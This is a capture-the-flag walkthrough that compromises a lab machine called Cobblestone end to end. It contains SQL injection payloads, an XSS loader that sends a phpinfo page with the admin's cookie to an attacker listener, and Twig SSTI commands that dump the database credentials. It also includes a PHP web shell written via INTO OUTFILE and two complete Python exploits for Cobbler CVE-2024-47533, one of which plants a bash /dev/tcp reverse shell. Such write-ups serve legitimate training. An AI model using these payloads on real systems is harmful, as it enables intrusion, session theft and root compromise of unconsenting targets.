Cobblestone writeup & walkthrough

Stored XSS that cannot read an HttpOnly cookie, so it makes the admin's browser fetch a phpinfo page through an csrf that prints it to get the Admin's cookie. Then Twig SSTI for database credentials, and root via a Cobbler XML-RPC server that accepts an empty login (CVE-2024-47533).

Stored XSS that cannot steal a cookie, so it makes the admin's own browser read a phpinfo page that prints the cookie for us. Then Twig SSTI to a database password, and root through a Cobbler XML-RPC server that accepts an empty login.

Enumeration

The web root and the vhost fuzzing agree on the same two names, so add all three:

echo "$IP cobblestone.htb vote.cobblestone.htb deploy.cobblestone.htb" | sudo tee -a /etc/hosts

The main site also exposes cobblestone.htb/skin.php, which matters later.

deploy.cobblestone.htb has nothing to attack directly, but read the user roles page anyway. It tells you AppArmor is in play, and that changes what you expect a shell to be able to do once you get one.

vote.cobblestone.htb

Register an account, then find the "suggest skin" button. It sits below the fold and the page does not scroll to it, so zoom out until it appears. Submitting a URL there gets you a callback within a minute, which means something on the box fetches whatever you supply. Worth knowing, because it tells you a bot is looking at your submissions.

SQL injection in the suggested URL

Register a second account and go back to the suggest form. The URL field is injectable. Column count first:

http://10.10.14.x:8888' ORDER BY 5-- -

Five is fine, six breaks the page, so five columns. Now confirm with a UNION:

http://10.10.14.x:8888' UNION SELECT user(),version(),3,4,5-- -

Save the request from Burp as votepage.req and let sqlmap do the rest. Pin the technique and the parameter, otherwise it wanders:

sqlmap -r votepage.req --technique U -p url
sqlmap -r votepage.req --technique U -p url --dbs
sqlmap -r votepage.req --technique U -p url -D vote --tables
sqlmap -r votepage.req --technique U -p url -D vote -T users --dump

Add --no-cast if the dump comes back mangled.

The passwords are bcrypt, and bcrypt with a decent cost is not something you crack in an evening. This is where the intended path forks away from the database.

Foothold: stored XSS on skin.php

Drop a probe in each field so you know which one lands and where:

<img src=x onerror="fetch('http://10.10.14.x:8000/field1')">
<img src=x onerror="fetch('http://10.10.14.x:8000/field2')">

The hits come back, so it is stored XSS and someone is viewing it. The obvious next step, stealing the session cookie, does not work: it is set HttpOnly, so document.cookie never sees it.

So do not steal the session, use it. The payload runs inside the admin's browser on cobblestone.htb, which means any request it makes to that origin carries the admin's cookie automatically.

An onerror attribute is a cramped place to write JavaScript, so keep a single loader in the field and put the real code in a file you host:

fetch('http://10.10.14.x:4444', {method: 'POST', mode: 'no-cors', body: document.documentElement.outerHTML});

Save that as csrf.js. Two listeners, and they have to be on different ports: one HTTP server to hand out the script, one raw listener to catch what comes back.

python3 -m http.server 8000
nc -lvnp 4444 | tee dump.html

Then the field payload:

<img src=x onerror="fetch('http://10.10.14.x:8000/csrf.js').then(r=>r.text()).then(eval)">

mode: 'no-cors' is what lets the POST leave the page at all. The response is opaque and we never read it, we only care that the request goes out.

What lands in dump.html is the admin's rendered view of the page, which is not the same page you see. At the bottom of it there is a link, and it leads to a phpinfo page.

Reading the cookie out of phpinfo

phpinfo prints the request environment, and that includes HTTP_COOKIE. HttpOnly stops JavaScript reading the cookie, it does not stop the server printing it back. So point the same trick at that page:

fetch('http://cobblestone.htb/skins_app_admin_server_info.php', {credentials: 'include'}).then(r=>r.text()).then(d=>fetch('http://10.10.14.x:4444', {method: 'POST', mode: 'no-cors', body: d}));

Save it as csrf2.js and load it the same way:

<img src=x onerror="fetch('http://10.10.14.x:8000/csrf2.js').then(r=>r.text()).then(eval)">
nc -lvnp 4444 | tee phpinfo.html

The phpinfo output comes back with the admin's cookie in it. Swap it into your browser and you are admin.

SSTI in the admin panel

User management, first name field. It is template injected, and the engine is Twig. My notes on identifying that are here: https://www.strikoder.com/notes?id=ssti-server-side-template-injection-when-output-re

{{ ['id'] | filter('system') }}
{{ ['id'] | map('system') }}

map is the one that fires. filter is lazy in Twig, so it hands back something that never gets iterated and the command silently does not run. If your first payload looks like it did nothing, that is why.

AppArmor was flagged back on the deploy vhost, so read the profile before you waste time on a shell it will block:

{{ ['cat /etc/apparmor.d/apache2.d/cobblestone'] | map('system') }}

Then the database credentials, and the dump:

{{ ['cat db/connection.php'] | map('system') }}
{{ ['mysqldump -h localhost -u dbuser -p<PASSWORD_FROM_CONNECTION_PHP> --all-databases'] | map('system') }}

No space after -p, mysqldump wants the password glued to the flag.

The dump holds a hash for a workstation user. This one is crackable, unlike the bcrypt pile from earlier:

hashcat -m 1400 hash.txt /usr/share/wordlists/rockyou.txt
ssh <user>@$IP

The unintended way in

If you would rather skip the whole XSS chain, the same injection writes a file. Five columns, so put the payload in one of them and pad the rest:

' UNION SELECT 1,2,3,"<?php system($_GET['cmd']); ?>",5 INTO OUTFILE '/var/www/vote/shell.php'-- -
curl "http://vote.cobblestone.htb/shell.php?cmd=id"

Escaping rbash

The shell is restricted. Wipe the history, re-exec it under a name that does not trigger the restricted mode, and write the history back so it sticks:

history -c
exec -a bash /bin/rbash --norc
history -w .bashrc

Root: Cobbler on 25151

Enumerate, then look at what is listening and who owns it:

ss -tunlp
ps aux --forest | less -S

Port 25151 is bound locally. That is Cobbler, a provisioning server for network installs, and it runs as root because installing operating systems is its job.

Forward it out:

ssh -L 25151:127.0.0.1:25151 <user>@$IP

CVE-2024-47533 is an authentication bypass in Cobbler 3.0.0 up to 3.2.3 and 3.3.0 up to 3.3.7. utils.get_shared_secret() opens a file in binary mode while also passing an encoding argument, which Python rejects, so the function throws and returns -1 every time. The check then compares your password against -1. Log in with an empty username and -1 and you are an administrator.

That is exactly what srv.login("", -1) below is doing. From there, template_files maps a source path on the server to a destination, and get_template_file_for_system renders and returns it, so any file root can read comes back to you.

import xmlrpc.client

KERNEL = "/boot/vmlinuz-6.1.0-37-amd64"
INITRD = "/boot/initrd.img-6.1.0-37-amd64"
NAME = "pwnsys"
DEST = "/leak"

TARGET = input("File to read: ")

srv = xmlrpc.client.ServerProxy("http://127.0.0.1:25151/RPC2", allow_none=True)
tok = srv.login("", -1)          # CVE-2024-47533: the shared secret is always -1

did = srv.new_distro(tok)
srv.modify_distro(did, "name", "pwn_distro", tok)
srv.modify_distro(did, "arch", "x86_64", tok)
srv.modify_distro(did, "breed", "redhat", tok)
srv.modify_distro(did, "kernel", KERNEL, tok)
srv.modify_distro(did, "initrd", INITRD, tok)
srv.save_distro(did, tok)

pid = srv.new_profile(tok)
srv.modify_profile(pid, "name", "pwn_profile", tok)
srv.modify_profile(pid, "distro", "pwn_distro", tok)
srv.save_profile(pid, tok)

sid = srv.new_system(tok)
srv.modify_system(sid, "name", NAME, tok)
srv.modify_system(sid, "profile", "pwn_profile", tok)
srv.modify_system(sid, "template_files", {TARGET: DEST}, tok)
srv.save_system(sid, tok)

srv.sync(tok)

print(srv.get_template_file_for_system(NAME, DEST), end="")

or

#!/usr/bin/env python3
import xmlrpc.client

NAME  = "dark"

KERNEL = "/boot/vmlinuz-6.1.0-37-amd64"
INITRD = "/boot/initrd.img-6.1.0-37-amd64"

# Cheetah payload that spawns a reverse shell
PAYLOAD = f"""
#set $a = __import__('os').system('bash -c "bash -i >& /dev/tcp/$IP/$PORT 0>&1"')
"""

srv = xmlrpc.client.ServerProxy("http://127.0.0.1:25151/RPC2", allow_none=True)
tok = srv.login("", -1)

# 1. Create distro
did = srv.new_distro(tok)
srv.modify_distro(did, "name", "pwn_distro", tok)
srv.modify_distro(did, "arch", "x86_64", tok)
srv.modify_distro(did, "breed", "redhat", tok)
srv.modify_distro(did, "kernel", KERNEL, tok)
srv.modify_distro(did, "initrd", INITRD, tok)
srv.save_distro(did, tok)

# 2. Create profile
pid = srv.new_profile(tok)
srv.modify_profile(pid, "name", "pwn_profile", tok)
srv.modify_profile(pid, "distro", "pwn_distro", tok)
srv.save_profile(pid, tok)

# 3. Write malicious autoinstall template
srv.write_autoinstall_template("pwn.ks", PAYLOAD, tok)

# 4. Create system that uses the malicious template
sid = srv.new_system(tok)
srv.modify_system(sid, "name", NAME, tok)
srv.modify_system(sid, "profile", "pwn_profile", tok)
srv.modify_system(sid, "autoinstall", "pwn.ks", tok)
srv.save_system(sid, tok)

# 5. Force Cobbler to render the template → RCE
srv.generate_system_autoinstall(NAME)
print("[+] Payload triggered – check your listener")

The distro needs a real kernel and initrd on disk or the save fails, which is all those /boot paths are for. Point it at root's SSH key, then log in properly:

python3 cobbler_read.py
ssh -i root_key root@$IP